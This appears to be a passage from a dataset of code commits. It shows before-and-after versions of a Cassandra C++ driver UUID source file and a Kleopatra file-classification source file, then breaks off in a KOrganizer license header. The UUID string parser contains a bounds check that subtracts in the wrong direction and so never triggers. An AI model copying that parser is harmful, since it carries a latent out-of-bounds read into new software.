cass_uuid_gen_new() {\n  return CassUuidGen::to(new cass::UuidGen());\n}\n\nCassUuidGen* cass_uuid_gen_new_with_node(cass_uint64_t node) {\n  return CassUuidGen::to(new cass::UuidGen(node));\n}\n\nvoid cass_uuid_gen_free(CassUuidGen* uuid_gen) {\n  delete uuid_gen->from();\n}\n\nvoid cass_uuid_gen_time(CassUuidGen* uuid_gen, CassUuid* output) {\n  uuid_gen->generate_time(output);\n}\n\nvoid cass_uuid_gen_random(CassUuidGen* uuid_gen, CassUuid* output) {\n  uuid_gen->generate_random(output);\n}\n\nvoid cass_uuid_gen_from_time(CassUuidGen* uuid_gen, cass_uint64_t timestamp, CassUuid* output) {\n  uuid_gen->from_time(timestamp, output);\n}\n\nvoid cass_uuid_min_from_time(cass_uint64_t timestamp, CassUuid* output) {\n  output->time_and_version = set_version(timestamp, 1);\n  output->clock_seq_and_node = MIN_CLOCK_SEQ_AND_NODE;\n}\n\nvoid cass_uuid_max_from_time(cass_uint64_t timestamp, CassUuid* output) {\n  output->time_and_version = set_version(timestamp, 1);\n  output->clock_seq_and_node = MAX_CLOCK_SEQ_AND_NODE;\n}\n\ncass_uint64_t cass_uuid_timestamp(CassUuid uuid) {\n  uint64_t timestamp = uuid.time_and_version & 0x0FFFFFFFFFFFFFFFLL; \/\/ Clear version\n  return to_milliseconds(timestamp - TIME_OFFSET_BETWEEN_UTC_AND_EPOCH);\n}\n\ncass_uint8_t cass_uuid_version(CassUuid uuid) {\n  return (uuid.time_and_version >> 60) & 0x0F;\n}\n\nvoid cass_uuid_string(CassUuid uuid, char* output) {\n  size_t pos = 0;\n  char encoded[16];\n  cass::encode_uuid(encoded, uuid);\n  for (size_t i = 0; i < 16; ++i) {\n    char buf[3] = { '\\0' };\n    sprintf(buf, \"%02x\", static_cast<uint8_t>(encoded[i]));\n    if (i == 4 || i == 6 || i == 8 || i == 10) {\n      output[pos++] = '-';\n    }\n    output[pos++] = buf[0];\n    output[pos++] = buf[1];\n  }\n  output[pos] = '\\0';\n}\n\nCassError cass_uuid_from_string(const char* str,\n                                CassUuid* output) {\n  if (str == NULL) {\n    return CASS_ERROR_LIB_BAD_PARAMS;\n  }\n\n  return cass_uuid_from_string_n(str, strlen(str),\n                                 output);\n}\n\nCassError cass_uuid_from_string_n(const char* str,\n                                  size_t str_length,\n                                  CassUuid* output) {\n  const char* pos = str;\n  char buf[16];\n\n  if (str == NULL || str_length != 36) {\n    return CASS_ERROR_LIB_BAD_PARAMS;\n  }\n\n  for (size_t i = 0; i < 16; ++i) {\n    if (*pos == '-') pos++;\n    unsigned int byte;\n    intptr_t bytes_left = str - pos;\n    if (bytes_left >= 2 || !isxdigit(*pos) || !isxdigit(*(pos + 1))) {\n      return CASS_ERROR_LIB_BAD_PARAMS;\n    }\n    sscanf(pos, \"%2x\", &byte);\n    buf[i] = static_cast<char>(byte);\n    pos += 2;\n  }\n\n  cass::decode_uuid(buf, output);\n\n  return CASS_OK;\n}\n\n} \/\/ extern \"C\"\n\nnamespace cass {\n\nUuidGen::UuidGen()\n  : clock_seq_and_node_(0)\n  , last_timestamp_(0LL)\n  , ng_(get_random_seed(MT19937_64::DEFAULT_SEED)){\n  uv_mutex_init(&mutex_);\n\n  Md5 md5;\n  bool has_unique = false;\n  uv_interface_address_t* addresses;\n  int address_count;\n\n#if UV_VERSION_MAJOR == 0\n    if (uv_interface_addresses(&addresses, &address_count).code == UV_OK) {\n#else\n    if (uv_interface_addresses(&addresses, &address_count) == 0) {\n#endif\n    for (int i = 0; i < address_count; ++i) {\n      char buf[256];\n      uv_interface_address_t address = addresses[i];\n      md5.update(reinterpret_cast<const uint8_t*>(address.name), strlen(address.name));\n      if (address.address.address4.sin_family == AF_INET) {\n        uv_ip4_name(&address.address.address4, buf, sizeof(buf));\n        md5.update(reinterpret_cast<const uint8_t*>(buf), strlen(buf));\n        has_unique = true;\n      } else if (address.address.address4.sin_family == AF_INET6) {\n        uv_ip6_name(&address.address.address6, buf, sizeof(buf));\n        md5.update(reinterpret_cast<const uint8_t*>(buf), strlen(buf));\n        has_unique = true;\n      }\n    }\n    uv_free_interface_addresses(addresses, address_count);\n  }\n\n  uint64_t node = 0;\n  if (has_unique) {\n    uv_cpu_info_t* cpu_infos;\n    int cpu_count;\n#if UV_VERSION_MAJOR == 0\n    if (uv_cpu_info(&cpu_infos, &cpu_count).code == UV_OK) {\n#else\n    if (uv_cpu_info(&cpu_infos, &cpu_count) == 0) {\n#endif\n      for (int i = 0; i < cpu_count; ++i) {\n        uv_cpu_info_t cpu_info = cpu_infos[i];\n        md5.update(reinterpret_cast<const uint8_t*>(cpu_info.model), strlen(cpu_info.model));\n      }\n      uv_free_cpu_info(cpu_infos, cpu_count);\n    }\n\n    uint8_t hash[16];\n    md5.final(hash);\n\n    for (int i = 0; i < 6; ++i) {\n      node |= (0x00000000000000FFLL & (long)hash[i]) << (i * 8);\n    }\n  } else {\n    LOG_INFO(\"Unable to determine unique data for this node. Generating a random node value.\");\n    node = ng_() & 0x0000FFFFFFFFFFFFLL;\n  }\n\n  node |= 0x0000010000000000LL; \/\/ Multicast bit\n\n  set_clock_seq_and_node(node);\n}\n\nUuidGen::UuidGen(uint64_t node)\n  : clock_seq_and_node_(0)\n  , last_timestamp_(0LL)\n  , ng_(get_random_seed(MT19937_64::DEFAULT_SEED)){\n  uv_mutex_init(&mutex_);\n  set_clock_seq_and_node(node & 0x0000FFFFFFFFFFFFLL);\n}\n\nUuidGen::~UuidGen() {\n  uv_mutex_destroy(&mutex_);\n}\n\nvoid UuidGen::generate_time(CassUuid* output) {\n  output->time_and_version = set_version(monotonic_timestamp(), 1);\n  output->clock_seq_and_node = clock_seq_and_node_;\n}\n\nvoid UuidGen::from_time(uint64_t timestamp, CassUuid* output) {\n  output->time_and_version = set_version(from_unix_timestamp(timestamp), 1);\n  output->clock_seq_and_node = clock_seq_and_node_;\n}\n\nvoid UuidGen::generate_random(CassUuid* output) {\n  ScopedMutex lock(&mutex_);\n  uint64_t time_and_version = ng_();\n  uint64_t clock_seq_and_node = ng_();\n  lock.unlock();\n\n  output->time_and_version = set_version(time_and_version, 4);\n  output->clock_seq_and_node = (clock_seq_and_node & 0x3FFFFFFFFFFFFFFFLL) | 0x8000000000000000LL; \/\/ RFC4122 variant\n}\n\nvoid UuidGen::set_clock_seq_and_node(uint64_t node) {\n  uint64_t clock_seq = ng_();\n  clock_seq_and_node_ |= (clock_seq & 0x0000000000003FFFLL) << 48;\n  clock_seq_and_node_ |= 0x8000000000000000LL; \/\/ RFC4122 variant\n  clock_seq_and_node_ |= node;\n}\n\nuint64_t UuidGen::monotonic_timestamp() {\n  while (true) {\n    uint64_t now = from_unix_timestamp(get_time_since_epoch_ms());\n    uint64_t last = last_timestamp_.load();\n    if (now > last) {\n      if (last_timestamp_.compare_exchange_strong(last, now)) {\n        return now;\n      }\n    } else {\n      uint64_t last_ms = to_milliseconds(last);\n      if (to_milliseconds(now) < last_ms) {\n        return last_timestamp_.fetch_add(1);\n      }\n      uint64_t candidate = last + 1;\n      if (to_milliseconds(candidate) == last_ms &&\n          last_timestamp_.compare_exchange_strong(last, candidate)) {\n        return candidate;\n      }\n    }\n  }\n}\n\n} \/\/ namespace cass\n<commit_msg>Add timestamp conversion in cass_uuid_min\/max_from_time() function to be consistent with cass_uuid_gen_from_time() function. CPP-283<commit_after>\/*\n  Copyright (c) 2014-2015 DataStax\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n*\/\n\n#include \"uuids.hpp\"\n\n#include \"cassandra.h\"\n#include \"get_time.hpp\"\n#include \"logger.hpp\"\n#include \"md5.hpp\"\n#include \"serialization.hpp\"\n#include \"scoped_lock.hpp\"\n#include \"external_types.hpp\"\n\n#include <stdio.h>\n#include <ctype.h>\n\n#define TIME_OFFSET_BETWEEN_UTC_AND_EPOCH 0x01B21DD213814000LL \/\/ Nanoseconds\n#define MIN_CLOCK_SEQ_AND_NODE 0x8080808080808080LL\n#define MAX_CLOCK_SEQ_AND_NODE 0x7f7f7f7f7f7f7f7fLL\n\nstatic uint64_t to_milliseconds(uint64_t timestamp) {\n  return timestamp \/ 10000L;\n}\n\nstatic uint64_t from_unix_timestamp(uint64_t timestamp) {\n  return (timestamp * 10000L) + TIME_OFFSET_BETWEEN_UTC_AND_EPOCH;\n}\n\nstatic uint64_t set_version(uint64_t timestamp, uint8_t version) {\n  return (timestamp & 0x0FFFFFFFFFFFFFFFLL) | (static_cast<uint64_t>(version) << 60);\n}\n\nextern \"C\" {\n\nCassUuidGen* cass_uuid_gen_new() {\n  return CassUuidGen::to(new cass::UuidGen());\n}\n\nCassUuidGen* cass_uuid_gen_new_with_node(cass_uint64_t node) {\n  return CassUuidGen::to(new cass::UuidGen(node));\n}\n\nvoid cass_uuid_gen_free(CassUuidGen* uuid_gen) {\n  delete uuid_gen->from();\n}\n\nvoid cass_uuid_gen_time(CassUuidGen* uuid_gen, CassUuid* output) {\n  uuid_gen->generate_time(output);\n}\n\nvoid cass_uuid_gen_random(CassUuidGen* uuid_gen, CassUuid* output) {\n  uuid_gen->generate_random(output);\n}\n\nvoid cass_uuid_gen_from_time(CassUuidGen* uuid_gen, cass_uint64_t timestamp, CassUuid* output) {\n  uuid_gen->from_time(timestamp, output);\n}\n\nvoid cass_uuid_min_from_time(cass_uint64_t timestamp, CassUuid* output) {\n  output->time_and_version = set_version(from_unix_timestamp(timestamp), 1);\n  output->clock_seq_and_node = MIN_CLOCK_SEQ_AND_NODE;\n}\n\nvoid cass_uuid_max_from_time(cass_uint64_t timestamp, CassUuid* output) {\n  output->time_and_version = set_version(from_unix_timestamp(timestamp), 1);\n  output->clock_seq_and_node = MAX_CLOCK_SEQ_AND_NODE;\n}\n\ncass_uint64_t cass_uuid_timestamp(CassUuid uuid) {\n  uint64_t timestamp = uuid.time_and_version & 0x0FFFFFFFFFFFFFFFLL; \/\/ Clear version\n  return to_milliseconds(timestamp - TIME_OFFSET_BETWEEN_UTC_AND_EPOCH);\n}\n\ncass_uint8_t cass_uuid_version(CassUuid uuid) {\n  return (uuid.time_and_version >> 60) & 0x0F;\n}\n\nvoid cass_uuid_string(CassUuid uuid, char* output) {\n  size_t pos = 0;\n  char encoded[16];\n  cass::encode_uuid(encoded, uuid);\n  for (size_t i = 0; i < 16; ++i) {\n    char buf[3] = { '\\0' };\n    sprintf(buf, \"%02x\", static_cast<uint8_t>(encoded[i]));\n    if (i == 4 || i == 6 || i == 8 || i == 10) {\n      output[pos++] = '-';\n    }\n    output[pos++] = buf[0];\n    output[pos++] = buf[1];\n  }\n  output[pos] = '\\0';\n}\n\nCassError cass_uuid_from_string(const char* str,\n                                CassUuid* output) {\n  if (str == NULL) {\n    return CASS_ERROR_LIB_BAD_PARAMS;\n  }\n\n  return cass_uuid_from_string_n(str, strlen(str),\n                                 output);\n}\n\nCassError cass_uuid_from_string_n(const char* str,\n                                  size_t str_length,\n                                  CassUuid* output) {\n  const char* pos = str;\n  char buf[16];\n\n  if (str == NULL || str_length != 36) {\n    return CASS_ERROR_LIB_BAD_PARAMS;\n  }\n\n  for (size_t i = 0; i < 16; ++i) {\n    if (*pos == '-') pos++;\n    unsigned int byte;\n    intptr_t bytes_left = str - pos;\n    if (bytes_left >= 2 || !isxdigit(*pos) || !isxdigit(*(pos + 1))) {\n      return CASS_ERROR_LIB_BAD_PARAMS;\n    }\n    sscanf(pos, \"%2x\", &byte);\n    buf[i] = static_cast<char>(byte);\n    pos += 2;\n  }\n\n  cass::decode_uuid(buf, output);\n\n  return CASS_OK;\n}\n\n} \/\/ extern \"C\"\n\nnamespace cass {\n\nUuidGen::UuidGen()\n  : clock_seq_and_node_(0)\n  , last_timestamp_(0LL)\n  , ng_(get_random_seed(MT19937_64::DEFAULT_SEED)){\n  uv_mutex_init(&mutex_);\n\n  Md5 md5;\n  bool has_unique = false;\n  uv_interface_address_t* addresses;\n  int address_count;\n\n#if UV_VERSION_MAJOR == 0\n    if (uv_interface_addresses(&addresses, &address_count).code == UV_OK) {\n#else\n    if (uv_interface_addresses(&addresses, &address_count) == 0) {\n#endif\n    for (int i = 0; i < address_count; ++i) {\n      char buf[256];\n      uv_interface_address_t address = addresses[i];\n      md5.update(reinterpret_cast<const uint8_t*>(address.name), strlen(address.name));\n      if (address.address.address4.sin_family == AF_INET) {\n        uv_ip4_name(&address.address.address4, buf, sizeof(buf));\n        md5.update(reinterpret_cast<const uint8_t*>(buf), strlen(buf));\n        has_unique = true;\n      } else if (address.address.address4.sin_family == AF_INET6) {\n        uv_ip6_name(&address.address.address6, buf, sizeof(buf));\n        md5.update(reinterpret_cast<const uint8_t*>(buf), strlen(buf));\n        has_unique = true;\n      }\n    }\n    uv_free_interface_addresses(addresses, address_count);\n  }\n\n  uint64_t node = 0;\n  if (has_unique) {\n    uv_cpu_info_t* cpu_infos;\n    int cpu_count;\n#if UV_VERSION_MAJOR == 0\n    if (uv_cpu_info(&cpu_infos, &cpu_count).code == UV_OK) {\n#else\n    if (uv_cpu_info(&cpu_infos, &cpu_count) == 0) {\n#endif\n      for (int i = 0; i < cpu_count; ++i) {\n        uv_cpu_info_t cpu_info = cpu_infos[i];\n        md5.update(reinterpret_cast<const uint8_t*>(cpu_info.model), strlen(cpu_info.model));\n      }\n      uv_free_cpu_info(cpu_infos, cpu_count);\n    }\n\n    uint8_t hash[16];\n    md5.final(hash);\n\n    for (int i = 0; i < 6; ++i) {\n      node |= (0x00000000000000FFLL & (long)hash[i]) << (i * 8);\n    }\n  } else {\n    LOG_INFO(\"Unable to determine unique data for this node. Generating a random node value.\");\n    node = ng_() & 0x0000FFFFFFFFFFFFLL;\n  }\n\n  node |= 0x0000010000000000LL; \/\/ Multicast bit\n\n  set_clock_seq_and_node(node);\n}\n\nUuidGen::UuidGen(uint64_t node)\n  : clock_seq_and_node_(0)\n  , last_timestamp_(0LL)\n  , ng_(get_random_seed(MT19937_64::DEFAULT_SEED)){\n  uv_mutex_init(&mutex_);\n  set_clock_seq_and_node(node & 0x0000FFFFFFFFFFFFLL);\n}\n\nUuidGen::~UuidGen() {\n  uv_mutex_destroy(&mutex_);\n}\n\nvoid UuidGen::generate_time(CassUuid* output) {\n  output->time_and_version = set_version(monotonic_timestamp(), 1);\n  output->clock_seq_and_node = clock_seq_and_node_;\n}\n\nvoid UuidGen::from_time(uint64_t timestamp, CassUuid* output) {\n  output->time_and_version = set_version(from_unix_timestamp(timestamp), 1);\n  output->clock_seq_and_node = clock_seq_and_node_;\n}\n\nvoid UuidGen::generate_random(CassUuid* output) {\n  ScopedMutex lock(&mutex_);\n  uint64_t time_and_version = ng_();\n  uint64_t clock_seq_and_node = ng_();\n  lock.unlock();\n\n  output->time_and_version = set_version(time_and_version, 4);\n  output->clock_seq_and_node = (clock_seq_and_node & 0x3FFFFFFFFFFFFFFFLL) | 0x8000000000000000LL; \/\/ RFC4122 variant\n}\n\nvoid UuidGen::set_clock_seq_and_node(uint64_t node) {\n  uint64_t clock_seq = ng_();\n  clock_seq_and_node_ |= (clock_seq & 0x0000000000003FFFLL) << 48;\n  clock_seq_and_node_ |= 0x8000000000000000LL; \/\/ RFC4122 variant\n  clock_seq_and_node_ |= node;\n}\n\nuint64_t UuidGen::monotonic_timestamp() {\n  while (true) {\n    uint64_t now = from_unix_timestamp(get_time_since_epoch_ms());\n    uint64_t last = last_timestamp_.load();\n    if (now > last) {\n      if (last_timestamp_.compare_exchange_strong(last, now)) {\n        return now;\n      }\n    } else {\n      uint64_t last_ms = to_milliseconds(last);\n      if (to_milliseconds(now) < last_ms) {\n        return last_timestamp_.fetch_add(1);\n      }\n      uint64_t candidate = last + 1;\n      if (to_milliseconds(candidate) == last_ms &&\n          last_timestamp_.compare_exchange_strong(last, candidate)) {\n        return candidate;\n      }\n    }\n  }\n}\n\n} \/\/ namespace cass\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- mode: c++; c-basic-offset:4 -*-\n    utils\/classify.cpp\n\n    This file is part of Kleopatra, the KDE keymanager\n    Copyright (c) 2007 Klarälvdalens Datakonsult AB\n\n    Kleopatra is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    Kleopatra is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\n    In addition, as a special exception, the copyright holders give\n    permission to link the code of this program with any edition of\n    the Qt library by Trolltech AS, Norway (or with modified versions\n    of Qt that use the same license as Qt), and distribute linked\n    combinations including the two.  You must obey the GNU General\n    Public License in all respects for all of the code used other than\n    Qt.  If you modify this file, you may extend this exception to\n    your version of the file, but you are not obligated to do so.  If\n    you do not wish to do so, delete this exception statement from\n    your version.\n*\/\n\n#include \"classify.h\"\n\n#include <QString>\n#include <QStringList>\n#include <QFile>\n#include <QFileInfo>\n#include <QtAlgorithms>\n\n#include <boost\/range.hpp>\n\n#ifdef __GNUC__\n# include <ext\/algorithm>\n#endif\n\n#include <functional>\n\nusing namespace boost;\nusing namespace Kleo::Class;\n\nnamespace {\n\n    static const struct _classification {\n        char extension[4];\n        unsigned int classification;\n    } classifications[] = {\n        \/\/ ordered by extension\n        { \"asc\", OpenPGP|  Ascii  | OpaqueSignature|DetachedSignature|CipherText|AnyCertStoreType },\n        { \"crt\", CMS    | Binary  | Certificate },\n        { \"der\", CMS    | Binary  | Certificate },\n        { \"gpg\", OpenPGP| Binary  | OpaqueSignature|CipherText|AnyCertStoreType },\n        { \"p10\", CMS    |  Ascii  | CertificateRequest },\n        { \"p12\", CMS    | Binary  | ExportedPSM },\n        { \"p7c\", CMS    | Binary  | Certificate  },\n        { \"p7m\", CMS    | Binary  | CipherText },\n        { \"p7s\", CMS    | Binary  | AnySignature },\n        { \"pem\", CMS    |  Ascii  | AnyType },\n        { \"sig\", OpenPGP|AnyFormat| DetachedSignature },\n    };\n\n    static const unsigned int defaultClassification = NoClass;\n\n    template <template <typename U> class Op>\n    struct ByExtension {\n        typedef bool result_type;\n\n        template <typename T>\n        bool operator()( const T & lhs, const T & rhs ) const {\n            return Op<int>()( qstricmp( lhs.extension, rhs.extension ), 0 );\n        }\n        template <typename T>\n        bool operator()( const T & lhs, const char * rhs ) const {\n            return Op<int>()( qstricmp( lhs.extension, rhs ), 0 );\n        }\n        template <typename T>\n        bool operator()( const char * lhs, const T & rhs ) const {\n            return Op<int>()( qstricmp( lhs, rhs.extension ), 0 );\n        }\n        bool operator()( const char * lhs, const char * rhs ) const {\n            return Op<int>()( qstricmp( lhs, rhs ), 0 );\n        }\n    };\n\n}\n\n\nunsigned int Kleo::classify( const QString & filename ) {\n#ifdef __GNUC__\n    assert( __gnu_cxx::is_sorted( begin( classifications ), end( classifications ), ByExtension<std::less>() ) );\n#endif\n\n    const QFileInfo fi( filename );\n\n    const _classification * const it = qBinaryFind( begin( classifications ), end( classifications ),\n                                                    fi.suffix().toLatin1().constData(),\n                                                    ByExtension<std::less>() );\n    if ( it == end( classifications ) )\n        return defaultClassification;\n    else\n        return it->classification;\n}\n\nstatic QString chopped( QString s, unsigned int n ) {\n    s.chop( n );\n    return s;\n}\n\n\/*!\n  \\return the data file that corresponds to the signature file \\a\n  signatureFileName, or QString(), if no such file can be found.\n*\/\nQString Kleo::findSignedData( const QString & signatureFileName ) {\n    if ( !mayBeDetachedSignature( signatureFileName ) )\n        return QString();\n    const QString baseName = chopped( signatureFileName, 4 );\n    return QFile::exists( baseName ) ? baseName : QString() ;\n}\n\n\/*!\n  \\return all (existing) candiate signature files for \\a signedDataFileName\n\n  Note that there can very well be more than one such file, e.g. if\n  the same data file was signed by both CMS and OpenPGP certificates.\n*\/\nQStringList Kleo::findSignatures( const QString & signedDataFileName ) {\n    QStringList result;\n    for ( unsigned int i = 0, end = size( classifications ) ; i < end ; ++i )\n        if ( classifications[i].classification & DetachedSignature ) {\n            const QString candiate = signedDataFileName + '.' + classifications[i].extension;\n            if ( QFile::exists( candiate ) )\n                result.push_back( candiate );\n        }\n    return result;\n}\n\n\/*!\n  \\return the (likely) output filename for \\a inputFileName, or\n  \"inputFileName.out\" if none can be determined.\n*\/\nQString Kleo::outputFileName( const QString & inputFileName ) {\n    const QFileInfo fi( inputFileName );\n\n    if ( qBinaryFind( begin( classifications ), end( classifications ),\n                      fi.suffix().toLatin1().constData(),\n                      ByExtension<std::less>() ) == end( classifications ) )\n        return inputFileName + \".out\";\n    else\n        return chopped( inputFileName, 4 );\n}\n\n\/*!\n  \\return the commonly used extension for files of type\n  \\a classification, or NULL if none such exists.\n*\/\nconst char * Kleo::outputFileExtension( unsigned int classification ) {\n    for ( unsigned int i = 0 ; i < sizeof classifications \/ sizeof *classifications ; ++i )\n        if ( ( classifications[i].classification & classification ) == classification )\n            return classifications[i].extension;\n    return 0;\n}\n<commit_msg>Peek into ascii formats to determine a more exact classification.<commit_after>\/* -*- mode: c++; c-basic-offset:4 -*-\n    utils\/classify.cpp\n\n    This file is part of Kleopatra, the KDE keymanager\n    Copyright (c) 2007 Klarälvdalens Datakonsult AB\n\n    Kleopatra is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    Kleopatra is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\n    In addition, as a special exception, the copyright holders give\n    permission to link the code of this program with any edition of\n    the Qt library by Trolltech AS, Norway (or with modified versions\n    of Qt that use the same license as Qt), and distribute linked\n    combinations including the two.  You must obey the GNU General\n    Public License in all respects for all of the code used other than\n    Qt.  If you modify this file, you may extend this exception to\n    your version of the file, but you are not obligated to do so.  If\n    you do not wish to do so, delete this exception statement from\n    your version.\n*\/\n\n#include \"classify.h\"\n\n#include <QString>\n#include <QStringList>\n#include <QFile>\n#include <QFileInfo>\n#include <QtAlgorithms>\n#include <QByteArrayMatcher>\n\n#include <boost\/range.hpp>\n\n#ifdef __GNUC__\n# include <ext\/algorithm>\n#endif\n\n#include <functional>\n\nusing namespace boost;\nusing namespace Kleo::Class;\n\nnamespace {\n\n    const unsigned int ExamineContentHint = 0x8000;\n\n    static const struct _classification {\n        char extension[4];\n        unsigned int classification;\n    } classifications[] = {\n        \/\/ ordered by extension\n        { \"asc\", OpenPGP|  Ascii  | OpaqueSignature|DetachedSignature|CipherText|AnyCertStoreType | ExamineContentHint },\n        { \"crt\", CMS    | Binary  | Certificate },\n        { \"der\", CMS    | Binary  | Certificate },\n        { \"gpg\", OpenPGP| Binary  | OpaqueSignature|CipherText|AnyCertStoreType },\n        { \"p10\", CMS    |  Ascii  | CertificateRequest },\n        { \"p12\", CMS    | Binary  | ExportedPSM },\n        { \"p7c\", CMS    | Binary  | Certificate  },\n        { \"p7m\", CMS    | Binary  | CipherText },\n        { \"p7s\", CMS    | Binary  | AnySignature },\n        { \"pem\", CMS    |  Ascii  | AnyType | ExamineContentHint },\n        { \"sig\", OpenPGP|AnyFormat| DetachedSignature },\n    };\n\n    static const unsigned int defaultClassification = NoClass;\n\n    template <template <typename U> class Op>\n    struct ByExtension {\n        typedef bool result_type;\n\n        template <typename T>\n        bool operator()( const T & lhs, const T & rhs ) const {\n            return Op<int>()( qstricmp( lhs.extension, rhs.extension ), 0 );\n        }\n        template <typename T>\n        bool operator()( const T & lhs, const char * rhs ) const {\n            return Op<int>()( qstricmp( lhs.extension, rhs ), 0 );\n        }\n        template <typename T>\n        bool operator()( const char * lhs, const T & rhs ) const {\n            return Op<int>()( qstricmp( lhs, rhs.extension ), 0 );\n        }\n        bool operator()( const char * lhs, const char * rhs ) const {\n            return Op<int>()( qstricmp( lhs, rhs ), 0 );\n        }\n    };\n\n    static const struct _content_classification {\n        char content[28];\n        unsigned int classification;\n    } content_classifications[] = {\n        { \"MESSAGE\",           OpaqueSignature|CipherText },\n        { \"PRIVATE KEY BLOCK\", ExportedPSM },\n        { \"PUBLIC KEY BLOCK\",  Certificate },\n        { \"SIGNATURE\",         DetachedSignature },\n    };\n\n    template <template <typename U> class Op>\n    struct ByContent {\n        typedef bool result_type;\n\n        const unsigned int N;\n        explicit ByContent( unsigned int n ) : N( n ) {}\n\n        template <typename T>\n        bool operator()( const T & lhs, const T & rhs ) const {\n            return Op<int>()( qstrncmp( lhs.content, rhs.content, N ), 0 );\n        }\n        template <typename T>\n        bool operator()( const T & lhs, const char * rhs ) const {\n            return Op<int>()( qstrncmp( lhs.content, rhs, N ), 0 );\n        }\n        template <typename T>\n        bool operator()( const char * lhs, const T & rhs ) const {\n            return Op<int>()( qstrncmp( lhs, rhs.content, N ), 0 );\n        }\n        bool operator()( const char * lhs, const char * rhs ) const {\n            return Op<int>()( qstrncmp( lhs, rhs, N ), 0 );\n        }\n    };\n\n}\n\n\nunsigned int Kleo::classify( const QString & filename ) {\n#ifdef __GNUC__\n    assert( __gnu_cxx::is_sorted( begin( classifications ), end( classifications ), ByExtension<std::less>() ) );\n    assert( __gnu_cxx::is_sorted( begin( content_classifications ), end( content_classifications ), ByContent<std::less>(100) ) );\n#endif\n\n    const QFileInfo fi( filename );\n\n    const _classification * const it = qBinaryFind( begin( classifications ), end( classifications ),\n                                                    fi.suffix().toLatin1().constData(),\n                                                    ByExtension<std::less>() );\n    if ( it == end( classifications ) )\n        return defaultClassification;\n    if ( !( it->classification & ExamineContentHint ) )\n        return it->classification;\n\n    QFile file( filename );\n    if ( !file.open( QIODevice::ReadOnly|QIODevice::Text ) )\n        return it->classification;\n\n    const QByteArray read = file.read( 1024 );\n\n    static const char beginString[] = \"-----BEGIN \";\n    static const QByteArrayMatcher beginMatcher( beginString );\n    int pos = beginMatcher.indexIn( read );\n    if ( pos < 0 )\n        return it->classification;\n    pos += sizeof beginString - 1;\n\n    const bool pgp = qstrncmp( read.data() + pos, \"PGP \", 4 ) == 0;\n    if ( pgp )\n        pos += 4;\n\n    const int epos = read.indexOf( \"-----\\n\", pos );\n    if ( epos < 0 )\n        return it->classification;\n\n    const _content_classification * const cit\n        = qBinaryFind( begin( content_classifications ), end( content_classifications ),\n                       read.data() + pos, ByContent<std::less>( epos - pos ) );\n\n    if ( cit == end( content_classifications ) )\n        return it->classification;\n    else\n        return cit->classification | ( pgp ? OpenPGP : CMS );\n}\n\nstatic QString chopped( QString s, unsigned int n ) {\n    s.chop( n );\n    return s;\n}\n\n\/*!\n  \\return the data file that corresponds to the signature file \\a\n  signatureFileName, or QString(), if no such file can be found.\n*\/\nQString Kleo::findSignedData( const QString & signatureFileName ) {\n    if ( !mayBeDetachedSignature( signatureFileName ) )\n        return QString();\n    const QString baseName = chopped( signatureFileName, 4 );\n    return QFile::exists( baseName ) ? baseName : QString() ;\n}\n\n\/*!\n  \\return all (existing) candiate signature files for \\a signedDataFileName\n\n  Note that there can very well be more than one such file, e.g. if\n  the same data file was signed by both CMS and OpenPGP certificates.\n*\/\nQStringList Kleo::findSignatures( const QString & signedDataFileName ) {\n    QStringList result;\n    for ( unsigned int i = 0, end = size( classifications ) ; i < end ; ++i )\n        if ( classifications[i].classification & DetachedSignature ) {\n            const QString candiate = signedDataFileName + '.' + classifications[i].extension;\n            if ( QFile::exists( candiate ) )\n                result.push_back( candiate );\n        }\n    return result;\n}\n\n\/*!\n  \\return the (likely) output filename for \\a inputFileName, or\n  \"inputFileName.out\" if none can be determined.\n*\/\nQString Kleo::outputFileName( const QString & inputFileName ) {\n    const QFileInfo fi( inputFileName );\n\n    if ( qBinaryFind( begin( classifications ), end( classifications ),\n                      fi.suffix().toLatin1().constData(),\n                      ByExtension<std::less>() ) == end( classifications ) )\n        return inputFileName + \".out\";\n    else\n        return chopped( inputFileName, 4 );\n}\n\n\/*!\n  \\return the commonly used extension for files of type\n  \\a classification, or NULL if none such exists.\n*\/\nconst char * Kleo::outputFileExtension( unsigned int classification ) {\n    for ( unsigned int i = 0 ; i < sizeof classifications \/ sizeof *classifications ; ++i )\n        if ( ( classifications[i].classification & classification ) == classification )\n            return classifications[i].extension;\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  This file is part of KOrganizer.\n  Copyright (c) 2002 Cornelius Schumacher <schumacher@kde.org>\n  Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>\n\n  This program is free software; you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation; either version 2 of the License, or\n  (at your option) any later version.\n\n  This program is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License along\n  with this program; if not, write to the Free Software Foundation, Inc.,\n  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n  As a special exception, permission is given to link this program\n  with any edition of 